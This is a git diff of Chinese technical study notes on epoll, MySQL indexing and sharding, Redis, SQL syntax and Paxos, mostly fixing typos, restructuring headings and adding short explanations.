这三个都是 I/O 多路复用的具体实现,select 出现的最早,之后是 poll,再是 epoll。可以说,新出现的实现是为了修复旧实现的不足。
|
||||
这三个都是 I/O 多路复用的具体实现,select 出现的最早,之后是 poll,再是 epoll。
|
||||
|
||||
### 1. select
|
||||
|
||||
@ -1321,7 +1321,7 @@ select 和 poll 方式中,进程只有在调用一定的方法后,内核才
|
||||
|
||||
新版本的 epoll_create(int size) 参数 size 不起任何作用,在旧版本的 epoll 中如果描述符的数量大于 size,不保证服务质量。
|
||||
|
||||
epoll_ct() 执行一次系统调用,用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理。
|
||||
epoll_ctl() 执行一次系统调用,用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理。
|
||||
|
||||
epoll_wait() 取出在内核中通过链表维护的 I/O 准备好的描述符,将他们从内核复制到程序中,不需要像 select/poll 对注册的所有描述符遍历一遍。
|
||||
|
||||
@ -1396,3 +1396,4 @@ poll 没有最大描述符数量的限制,如果平台支持应该采用 poll
|
||||
- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
|
||||
- [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/)
|
||||
- [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/)
|
||||
- [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
@ -14,12 +14,11 @@
|
||||
* [索引优化](#索引优化)
|
||||
* [B-Tree 和 B+Tree 原理](#b-tree-和-b+tree-原理)
|
||||
* [四、查询性能优化](#四查询性能优化)
|
||||
* [五、分库与分表](#五分库与分表)
|
||||
* [原因](#原因)
|
||||
* [实现方式](#实现方式)
|
||||
* [Merge 存储引擎](#merge-存储引擎)
|
||||
* [五、切分](#五切分)
|
||||
* [垂直切分](#垂直切分)
|
||||
* [水平切分](#水平切分)
|
||||
* [切分的选择](#切分的选择)
|
||||
* [存在的问题](#存在的问题)
|
||||
* [分表与分区的不同](#分表与分区的不同)
|
||||
* [六、故障转移和故障恢复](#六故障转移和故障恢复)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
@ -121,13 +120,17 @@ MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期,并提
|
||||
|
||||
## 索引分类
|
||||
|
||||
### 1. B-Tree 索引
|
||||
### 1. B+Tree 索引
|
||||
|
||||
B-Tree 索引是大多数 MySQL 存储引擎的默认索引类型。
|
||||
<div align="center"> <img src="../pics//c23957e9-a572-44f8-be15-f306c8b92722.jpg"/> </div><br>
|
||||
|
||||
《高性能 MySQL》一书使用 B-Tree 进行描述,其实从技术上来说这种索引是 B+Tree。
|
||||
|
||||
B+Tree 索引是大多数 MySQL 存储引擎的默认索引类型。
|
||||
|
||||
因为不再需要进行全表扫描,只需要对树进行搜索即可,因此查找速度快很多。
|
||||
|
||||
可以指定多个列作为索引列,多个索引列共同组成键。B-Tree 索引适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。
|
||||
可以指定多个列作为索引列,多个索引列共同组成键。B+Tree 索引适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。
|
||||
|
||||
除了用于查找,还可以用于排序和分组。
|
||||
|
||||
@ -139,7 +142,7 @@ B-Tree 索引是大多数 MySQL 存储引擎的默认索引类型。
|
||||
|
||||
在 MySQL 中只有 Memory 引擎显式支持哈希索引。
|
||||
|
||||
InnoDB 引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B-Tree 索引之上再创建一个哈希索引,这样就让 B-Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
|
||||
InnoDB 引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引,这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
|
||||
|
||||
限制:哈希索引只包含哈希值和行指针,而不存储字段值,所以不能使用索引中的值来避免读取行。不过,访问内存中的行的速度很快,所以大部分情况下这一点对性能影响并不明显;无法用于分组与排序;只支持精确查找,无法用于部分查找和范围查找;如果哈希冲突很多,查找速度会变得很慢。
|
||||
|
||||
@ -179,7 +182,7 @@ SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
|
||||
|
||||
对于 BLOB、TEXT 和 VARCHAR 类型的列,必须使用前缀索引,只索引开始的部分字符。
|
||||
|
||||
对于前缀长度的选取需要根据 **索引选择性** 来确定:不重复的索引值和记录总数的比值。选择性越高,查询效率也越高。最大值为 1 ,此时每个记录都有唯一的索引与其对应。
|
||||
对于前缀长度的选取需要根据 **索引选择性** 来确定:不重复的索引值和记录总数的比值。选择性越高,查询效率也越高。最大值为 1,此时每个记录都有唯一的索引与其对应。
|
||||
|
||||
### 3. 多列索引
|
||||
|
||||
@ -209,20 +212,20 @@ customer_id_selectivity: 0.0373
|
||||
|
||||
### 5. 聚簇索引
|
||||
|
||||
<div align="center"> <img src="../pics//b9e9ae8c-e216-4c01-b267-a50dbeb98fa4.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e800b001-7779-495b-8459-d33a7440d7b8.jpg"/> </div><br>
|
||||
|
||||
聚簇索引并不是一种索引类型,而是一种数据存储方式。
|
||||
|
||||
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起,InnoDB 的聚簇索引的数据行存放在 B-Tree 的叶子页中。
|
||||
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起,InnoDB 的聚簇索引的数据行存放在 B+Tree 的叶子页中。
|
||||
|
||||
因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
|
||||
|
||||
#### 优点
|
||||
**优点**
|
||||
|
||||
1. 可以把相关数据保存在一起,减少 I/O 操作;
|
||||
2. 因为数据保存在 B-Tree 中,因此数据访问更快。
|
||||
2. 因为数据保存在 B+Tree 中,因此数据访问更快。
|
||||
|
||||
#### 缺点
|
||||
**缺点**
|
||||
|
||||
1. 聚簇索引最大限度提高了 I/O 密集型应用的性能,但是如果数据全部放在内存,就没必要用聚簇索引。
|
||||
2. 插入速度严重依赖于插入顺序,按主键的顺序插入是最快的。
|
||||
@ -234,7 +237,7 @@ customer_id_selectivity: 0.0373
|
||||
|
||||
索引包含所有需要查询的字段的值。
|
||||
|
||||
#### 优点
|
||||
**优点**
|
||||
|
||||
1. 因为索引条目通常远小于数据行的大小,所以若只读取索引,能大大减少数据访问量。
|
||||
2. 一些存储引擎(例如 MyISAM)在内存中只缓存索引,而数据依赖于操作系统来缓存。因此,只访问索引可以不使用系统调用(通常比较费时)。
|
||||
@ -277,9 +280,9 @@ B-Tree 是满足下列条件的数据结构:
|
||||
|
||||
红黑树等数据结构也可以用来实现索引,但是文件系统及数据库系统普遍采用 B-/+Tree 作为索引结构。
|
||||
|
||||
页是计算机管理存储器的逻辑块,硬件及操作系统往往将主存和磁盘存储区分割为连续的大小相等的块,每个存储块称为一页(在许多操作系统中,页得大小通常为 4k),主存和磁盘以页为单位交换数据。
|
||||
页是计算机管理存储器的逻辑块,硬件及操作系统往往将主存和磁盘存储区分割为连续的大小相等的块,每个存储块称为一页(在许多操作系统中,页的大小通常为 4k),主存和磁盘以页为单位交换数据。
|
||||
|
||||
一般来说,索引本身也很大,不可能全部存储在内存中,因此索引往往以索引文件的形式存储的磁盘上。为了减少磁盘 I/O,磁盘往往不是严格按需读取,而是每次都会预读。这样做的理论依据是计算机科学中著名的局部性原理:当一个数据被用到时,其附近的数据也通常会马上被使用。数据库系统的设计者巧妙利用了磁盘预读原理,将一个节点的大小设为等于一个页,这样每个节点只需要一次 I/O 就可以完全载入。B-Tree 中一次检索最多需要 h-1 次 I/O(根节点常驻内存),渐进复杂度为 O(h)=O(logdN)。一般实际应用中,出度 d 是非常大的数字,通常超过 100,因此 h 非常小(通常不超过 3)。而红黑树这种结构,h 明显要深的多。并且于逻辑上很近的节点(父子)物理上可能很远,无法利用局部性,效率明显比 B-Tree 差很多。
|
||||
一般来说,索引本身也很大,不可能全部存储在内存中,因此索引往往以索引文件的形式存储的磁盘上。为了减少磁盘 I/O,磁盘往往不是严格按需读取,而是每次都会预读。这样做的理论依据是计算机科学中著名的局部性原理:当一个数据被用到时,其附近的数据也通常会马上被使用。数据库系统的设计者巧妙利用了磁盘预读原理,将一个节点的大小设为等于一个页,这样每个节点只需要一次 I/O 就可以完全载入。B-Tree 中一次检索最多需要 h-1 次 I/O(根节点常驻内存),渐进复杂度为 O(h)=O(log<sub>d</sub>N)。一般实际应用中,出度 d 是非常大的数字,通常超过 100,因此 h 非常小(通常不超过 3)。而红黑树这种结构,h 明显要深的多。并且于逻辑上很近的节点(父子)物理上可能很远,无法利用局部性,效率明显比 B-Tree 差很多。
|
||||
|
||||
B+Tree 更适合外存索引,原因和内节点出度 d 有关。由于 B+Tree 内节点去掉了 data 域,因此可以拥有更大的出度,拥有更好的性能。
|
||||
|
||||
@ -318,6 +321,7 @@ SELECT * FROM sakila.film_actor WHERE film_id = 1;
|
||||
```sql
|
||||
DELEFT FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
|
||||
```
|
||||
|
||||
```sql
|
||||
rows_affected = 0
|
||||
do {
|
||||
@ -326,32 +330,25 @@ do {
|
||||
} while rows_affected > 0
|
||||
```
|
||||
|
||||
# 五、分库与分表
|
||||
# 五、切分
|
||||
|
||||
## 原因
|
||||
|
||||
随着时间和业务的发展,数据库中的表会越来越多,并且表中的数据量也会越来越大,那么读写操作的开销也会随着增大。
|
||||
|
||||
## 实现方式
|
||||
|
||||
### 1. 垂直切分
|
||||
## 垂直切分
|
||||
|
||||
将表按功能模块、关系密切程度划分出来,部署到不同的库上。例如,我们会建立商品数据库 payDB、用户数据库 userDB 等,分别用来存储项目与商品有关的表和与用户有关的表。
|
||||
|
||||
### 2. 水平切分
|
||||
## 水平切分
|
||||
|
||||
把表中的数据按照某种规则存储到多个结构相同的表中,例如按 id 的散列值、性别等进行划分。
|
||||
|
||||
### 3. 切分的选择
|
||||
## 切分的选择
|
||||
|
||||
如果数据库中的表太多,并且项目各项业务逻辑清晰,那么垂直切分是首选。
|
||||
|
||||
如果数据库的表不多,但是单表的数据量很大,应该选择水平切分。
|
||||
|
||||
## Merge 存储引擎
|
||||
|
||||
该存储引擎支持分表。
|
||||
|
||||
## 存在的问题
|
||||
|
||||
### 1. 事务问题
|
||||
@ -366,9 +363,6 @@ do {
|
||||
|
||||
最显而易见的就是数据的定位问题和数据的增删改查的重复执行问题,这些都可以通过应用程序解决,但必然引起额外的逻辑运算。
|
||||
|
||||
## 分表与分区的不同
|
||||
|
||||
分表,就是将一张表分成多个小表,这些小表拥有不同的表名;而分区是将一张表的数据分为多个区块,这些区块可以存储在同一个磁盘上,也可以存储在不同的磁盘上,这种方式下表仍然只有一个。
|
||||
|
||||
# 六、故障转移和故障恢复
|
||||
|
||||
@ -386,15 +380,14 @@ do {
|
||||
|
||||
通过代理,可以路由流量到可以使用的服务器上。
|
||||
|
||||
<div align="center"> <img src="../pics//fabd5fa0-b75e-48d0-9e2c-31471945ceb9.jpg"/> </div><br>
|
||||
|
||||
### 在应用中处理故障转移
|
||||
|
||||
将故障转移整合到应用中可能导致应用变得太过笨拙。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 高性能 MySQL
|
||||
- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
|
||||
- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
|
||||
- [MySQL 索引背后的数据结构及算法原理 ](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
|
||||
- [20+ 条 MySQL 性能优化的最佳经验 ](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
|
||||
- [数据库为什么分库分表?mysql的分库分表方案](https://www.i3geek.com/archives/1108)
|
||||
|
@ -53,12 +53,12 @@ Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,
|
||||
# 二、五种基本类型
|
||||
|
||||
| 数据类型 | 可以存储的值 | 操作 |
|
||||
| -- | -- | -- |
|
||||
| :--: | :--: | :--: |
|
||||
| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
|
||||
| LIST | 链表 | 从两端压入或者弹出元素</br> 读取单个或者多个元素</br> 进行修剪,只保留一个范围内的元素 |
|
||||
| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
|
||||
| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
|
||||
| ZSET | 有序集合 | 添加、获取、删除元素个元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
|
||||
| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
|
||||
|
||||
> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
|
||||
|
||||
@ -212,7 +212,14 @@ Redis 可以为每个键设置过期时间,当键过期时,会自动删除
|
||||
|
||||
# 四、发布与订阅
|
||||
|
||||
发布与订阅实际上是观察者模式,订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
|
||||
订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
|
||||
|
||||
发布与订阅模式和观察者模式有以下不同:
|
||||
|
||||
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
|
||||
- 观察者模式是同步的,当事件触发时,主题会去调度观察者的方法;而发布与订阅模式是异步的;
|
||||
|
||||
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400"/> </div><br>
|
||||
|
||||
发布与订阅有一些问题,很少使用它,而是使用替代的解决方案。问题如下:
|
||||
|
||||
@ -235,16 +242,20 @@ Redis 是内存型数据库,为了保证数据在断电后不会丢失,需
|
||||
|
||||
可以将快照复制到其它服务器从而创建具有相同数据的服务器副本。
|
||||
|
||||
如果系统发生故障,将会丢失最后一次创建快照之后的数据。并且如果数据量很大,保存快照的时间也会很长。
|
||||
如果系统发生故障,将会丢失最后一次创建快照之后的数据。
|
||||
|
||||
如果数据量很大,保存快照的时间会很长。
|
||||
|
||||
## 2. AOF 持久化
|
||||
|
||||
AOF 持久化将写命令添加到 AOF 文件(Append Only File)的末尾。
|
||||
将写命令添加到 AOF 文件(Append Only File)的末尾。
|
||||
|
||||
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。因此将写命令添加到 AOF 文件时,要根据需求来保证何时将添加的数据同步到硬盘上,有以下同步选项:
|
||||
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。
|
||||
|
||||
将写命令添加到 AOF 文件时,要根据需求来保证何时将添加的数据同步到硬盘上,有以下同步选项:
|
||||
|
||||
| 选项 | 同步频率 |
|
||||
| -- | -- |
|
||||
| :--: | :--: |
|
||||
| always | 每个写命令都同步 |
|
||||
| everysec | 每秒同步一次 |
|
||||
| no | 让操作系统来决定何时同步 |
|
||||
@ -361,7 +372,7 @@ def main():
|
||||
|
||||
从事件处理的角度来看,服务器运行流程如下:
|
||||
|
||||
<div align="center"> <img src="../pics//73b73189-9e95-47e5-91d0-9378b8462e15.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//dda1608d-26e0-4f10-8327-a459969b150a.png" width=""/> </div><br>
|
||||
|
||||
# 十一、Redis 与 Memcached 的区别
|
||||
|
||||
@ -391,26 +402,26 @@ Memcached 将内存分割成特定长度的块来存储数据,以完全解决
|
||||
|
||||
## 缓存
|
||||
|
||||
适用 Redis 作为缓存,将热点数据放到内存中。
|
||||
将热点数据放到内存中。
|
||||
|
||||
## 消息队列
|
||||
|
||||
Redis 的 List 类型是双向链表,很适合用于消息队列。
|
||||
List 类型是双向链表,很适合用于消息队列。
|
||||
|
||||
## 计数器
|
||||
|
||||
Redis 这种内存数据库才能支持计数器的频繁读写操作。
|
||||
Redis 这种内存数据库能支持计数器频繁的读写操作。
|
||||
|
||||
## 好友关系
|
||||
|
||||
使用 set 类型的交集很容易就可以知道两个用户的共同好友。
|
||||
使用 Set 类型的交集操作很容易就可以知道两个用户的共同好友。
|
||||
|
||||
# 十三、数据淘汰策略
|
||||
|
||||
可以设置内存最大使用量,当内存使用量超过时施行淘汰策略,具体有 6 种淘汰策略。
|
||||
|
||||
| 策略 | 描述 |
|
||||
| -- | -- |
|
||||
| :--: | :--: |
|
||||
| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
|
||||
| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
|
||||
|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
|
||||
@ -420,6 +431,8 @@ Redis 这种内存数据库才能支持计数器的频繁读写操作。
|
||||
|
||||
如果使用 Redis 来缓存数据时,要保证所有数据都是热点数据,可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。
|
||||
|
||||
作为内存数据库,出于对性能和内存消耗的考虑,Redis 的淘汰算法(LRU、TTL)实际实现上并非针对所有 key,而是抽样一小部分 key 从中选出被淘汰 key。抽样数量可通过 maxmemory-samples 配置。
|
||||
|
||||
# 十四、一个简单的论坛系统分析
|
||||
|
||||
该论坛系统功能如下:
|
||||
@ -452,9 +465,10 @@ Redis 没有关系型数据库中的表这一概念来将同类型的数据存
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Redis 实战
|
||||
- Reids 设计与实现
|
||||
- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
|
||||
- 黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.
|
||||
- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
|
||||
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
|
||||
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
|
||||
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
|
||||
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
|
||||
|
52
notes/SQL.md
@ -22,6 +22,7 @@
|
||||
* [二十一、事务处理](#二十一事务处理)
|
||||
* [二十二、字符集](#二十二字符集)
|
||||
* [二十三、权限管理](#二十三权限管理)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
@ -174,7 +175,7 @@ ORDER BY col1 DESC, col2 ASC;
|
||||
|
||||
# 九、过滤
|
||||
|
||||
不进行过滤的数据非常大,导致通过网络传输了很多多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。
|
||||
不进行过滤的数据非常大,导致通过网络传输了多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
@ -189,7 +190,7 @@ WHERE col IS NULL;
|
||||
| = < > | 等于 小于 大于 |
|
||||
| <> != | 不等于 |
|
||||
| <= !> | 小于等于 |
|
||||
| >= !< | 大于等于 |
|
||||
| >= !< | 大于等于 |
|
||||
| BETWEEN | 在两个值之间 |
|
||||
| IS NULL | 为NULL值 |
|
||||
|
||||
@ -205,9 +206,9 @@ WHERE col IS NULL;
|
||||
|
||||
通配符也是用在过滤语句中,但它只能用于文本字段。
|
||||
|
||||
- **%** 匹配 >=0 个任意字符,类似于 \*;
|
||||
- **%** 匹配 >=0 个任意字符;
|
||||
|
||||
- **\_** 匹配 ==1 个任意字符,类似于 \.;
|
||||
- **\_** 匹配 ==1 个任意字符;
|
||||
|
||||
- **[ ]** 可以匹配集合内的字符,例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定,也就是不匹配集合内的字符。
|
||||
|
||||
@ -316,7 +317,7 @@ mysql> SELECT NOW();
|
||||
|
||||
AVG() 会忽略 NULL 行。
|
||||
|
||||
使用 DISTINCT 可以汇总函数值汇总不同的值。
|
||||
使用 DISTINCT 可以让汇总函数值汇总不同的值。
|
||||
|
||||
```sql
|
||||
SELECT AVG(DISTINCT col1) AS avg_col
|
||||
@ -329,7 +330,7 @@ FROM mytable
|
||||
|
||||
可以对同一分组数据使用汇总函数进行处理,例如求分组数据的平均值等。
|
||||
|
||||
指定的分组字段除了能让数组按该字段进行分组,也可以按该字段进行排序,例如按 col 字段排序并分组数据:
|
||||
指定的分组字段除了能按该字段进行分组,也可以按该字段进行排序,例如按 col 字段排序并分组数据:
|
||||
|
||||
```sql
|
||||
SELECT col, COUNT(*) AS num
|
||||
@ -337,6 +338,15 @@ FROM mytable
|
||||
GROUP BY col;
|
||||
```
|
||||
|
||||
GROUP BY 是按照分组字段进行排序,ORDER BY 也可以以汇总字段来进行排序。
|
||||
|
||||
```sql
|
||||
SELECT col, COUNT(*) AS num
|
||||
FROM mytable
|
||||
GROUP BY col
|
||||
ORDER BY num;
|
||||
```
|
||||
|
||||
WHERE 过滤行,HAVING 过滤分组。行过滤应当先与分组过滤;
|
||||
|
||||
```sql
|
||||
@ -347,19 +357,10 @@ GROUP BY col
|
||||
HAVING COUNT(*) >= 2;
|
||||
```
|
||||
|
||||
GROUP BY 的排序结果为分组字段,而 ORDER BY 也可以以聚集字段来进行排序。
|
||||
|
||||
```sql
|
||||
SELECT col, COUNT(*) AS num
|
||||
FROM mytable
|
||||
GROUP BY col
|
||||
ORDER BY num;
|
||||
```
|
||||
|
||||
分组规定:
|
||||
|
||||
1. GROUP BY 子句出现在 WHERE 子句之后,ORDER BY 子句之前;
|
||||
2. 除了汇总计算语句的字段外,SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出;
|
||||
2. 除了汇总字段外,SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出;
|
||||
3. NULL 的行会单独分为一组;
|
||||
4. 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。
|
||||
|
||||
@ -369,7 +370,7 @@ ORDER BY num;
|
||||
|
||||
可以将子查询的结果作为 WHRER 语句的过滤条件:
|
||||
|
||||
```
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable1
|
||||
WHERE col1 IN (SELECT col2
|
||||
@ -389,7 +390,7 @@ ORDER BY cust_name;
|
||||
|
||||
# 十五、连接
|
||||
|
||||
连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 Where。
|
||||
连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 WHERE。
|
||||
|
||||
连接可以替换子查询,并且比子查询的效率一般会更快。
|
||||
|
||||
@ -435,7 +436,7 @@ where department = (
|
||||
自连接版本
|
||||
|
||||
```sql
|
||||
select name
|
||||
select e2.name
|
||||
from employee as e1, employee as e2
|
||||
where e1.department = e2.department
|
||||
and e1.name = "Jim";
|
||||
@ -462,8 +463,8 @@ from employee natural join department;
|
||||
|
||||
```sql
|
||||
select Customers.cust_id, Orders.order_num
|
||||
from Customers left outer join Orders
|
||||
on Customers.cust_id = Orders.curt_id;
|
||||
from Customers left outer join Orders
|
||||
on Customers.cust_id = Orders.curt_id;
|
||||
```
|
||||
|
||||
如果需要统计顾客的订单数,使用聚集函数。
|
||||
@ -521,9 +522,7 @@ WHERE col5 = val;
|
||||
## 使用存储过程的好处
|
||||
|
||||
1. 代码封装,保证了一定的安全性;
|
||||
|
||||
2. 代码复用;
|
||||
|
||||
3. 由于是预先编译,因此具有很高的性能。
|
||||
|
||||
## 创建存储过程
|
||||
@ -621,7 +620,7 @@ MySQL 不允许在触发器中使用 CALL 语句 ,也就是不能调用存储
|
||||
3. 提交(commit)指将未存储的 SQL 语句结果写入数据库表;
|
||||
4. 保留点(savepoint)指事务处理中设置的临时占位符(placeholder),你可以对它发布回退(与回退整个事务处理不同)。
|
||||
|
||||
不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CRETE 和 DROP 语句。
|
||||
不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CREATE 和 DROP 语句。
|
||||
|
||||
MySQL 的事务提交默认是隐式提交,也就是每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。
|
||||
|
||||
@ -704,8 +703,6 @@ SHOW GRANTS FOR myuser;
|
||||
GRANT SELECT, INSERT ON mydatabase.* TO myuser;
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//c73aa08e-a987-43c9-92be-adea4a884c25.png"/> </div><br>
|
||||
|
||||
账户用 username@host 的形式定义,username@% 使用的是默认主机名。
|
||||
|
||||
## 删除权限
|
||||
@ -730,3 +727,6 @@ GRANT 和 REVOKE 可在几个层次上控制访问权限:
|
||||
SET PASSWROD FOR myuser = Password('newpassword');
|
||||
```
|
||||
|
||||
# 参考资料
|
||||
|
||||
- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
|
||||
|
@ -24,7 +24,7 @@ Two-phase Commit(2PC)。
|
||||
<div align="center"> <img src="../pics//07717718-1230-4347-aa18-2041c315e670.jpg"/> </div><br>
|
||||
|
||||
|
||||
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段协接收到协调者发来的通知后,才进行提交或者回滚。
|
||||
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
|
||||
|
||||
## 存在的问题
|
||||
|
||||
@ -40,7 +40,7 @@ Two-phase Commit(2PC)。
|
||||
|
||||
1. 提议者(Proposer):提议一个值;
|
||||
2. 接受者(Acceptor):对每个提议进行投票;
|
||||
3. 告知者(Learner):被告知投票的结果,不参与投票的过程。
|
||||
3. 告知者(Learner):被告知投票的结果,不参与投票过程。
|
||||
|
||||
<div align="center"> <img src="../pics//0aaf4630-d2a2-4783-b3f7-a2b6a7dfc01b.jpg"/> </div><br>
|
||||
|
||||
@ -48,49 +48,51 @@ Two-phase Commit(2PC)。
|
||||
|
||||
规定一个提议包含两个字段:[n, v],其中 n 为序号(具有唯一性),v 为提议值。
|
||||
|
||||
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向每个 Acceptor 发送提议请求。
|
||||
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送提议请求。
|
||||
|
||||
<div align="center"> <img src="../pics//2bf2fd8f-5ade-48ba-a2b3-74195ac77c4b.png" width="500"/> </div><br>
|
||||
|
||||
当 Acceptor 接收到一个提议请求,包含的提议为 [n1, v1],并且之前还未接收过提议请求,那么发送一个提议响应,设置当前接收的提议为 [n1, v1],并且保证以后不会再接受提议值小于 n1 的提议。
|
||||
当 Acceptor 接收到一个提议请求,包含的提议为 [n1, v1],并且之前还未接收过提议请求,那么发送一个提议响应,设置当前接收到的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。
|
||||
|
||||
如下图,Acceptor X 在收到 [n=2, v=8] 的提议请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的提议响应,并且设置当前接收的提议为 [n=2, v=8],并且保证以后不会再接受提议值小于 2 的提议。其它的 Acceptor 类似。
|
||||
如下图,Acceptor X 在收到 [n=2, v=8] 的提议请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的提议响应,并且设置当前接收到的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
|
||||
|
||||
<div align="center"> <img src="../pics//3f5bba4b-7813-4aea-b578-970c7e3f6bf3.jpg" width="600"/> </div><br>
|
||||
<div align="center"> <img src="../pics//3f5bba4b-7813-4aea-b578-970c7e3f6bf3.jpg"/> </div><br>
|
||||
|
||||
如果 Acceptor 接受到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2,那么就丢弃该提议请求;否则,发送提议响应,该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收的提议为 [n2, v2],并且保证以后不会再接受提议值小于 n2 的提议。
|
||||
如果 Acceptor 接收到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2,那么就丢弃该提议请求;否则,发送提议响应,该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
|
||||
|
||||
